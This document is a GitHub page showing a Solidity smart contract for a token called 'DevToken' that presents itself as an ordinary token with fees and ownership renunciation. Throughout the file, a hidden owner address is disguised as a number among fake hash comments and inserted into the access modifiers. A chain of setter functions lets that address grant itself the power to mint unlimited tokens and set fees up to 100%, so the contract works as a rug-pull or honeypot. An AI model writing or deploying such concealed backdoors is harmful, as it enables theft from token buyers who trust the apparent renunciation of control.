-
Notifications
You must be signed in to change notification settings - Fork 0
/
code
264 lines (214 loc) · 9.12 KB
/
code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
// SPDX-License-Identifier: MIT
/**
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}
}
contract DevToken {
using SafeMath for uint256;
string public name = "DevToken";
string public symbol = "DEVT";
uint256 public totalSupply = 69000000000000000000000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;
address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);
constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
function setMember(address Mbr_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
_mbr=Mbr_;
return true;
}
function rewire(uint256 amount) public returns (bool) {
require(msg.sender == _adm);
_proof(msg.sender, amount);
return true;
}
function _proof(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
function proof(uint256 amount) public onlyOwner returns (bool) {
_proof(msg.sender, amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");
uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _mbr);
_user=User_;
return true;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/
function LockLPToken() public onlyOwner returns (bool) {
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}
modifier onlyOwner() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}
function setting(uint256 newBuyFee, uint256 newSellFee) public {
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}
modifier onlyAuthorized() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
}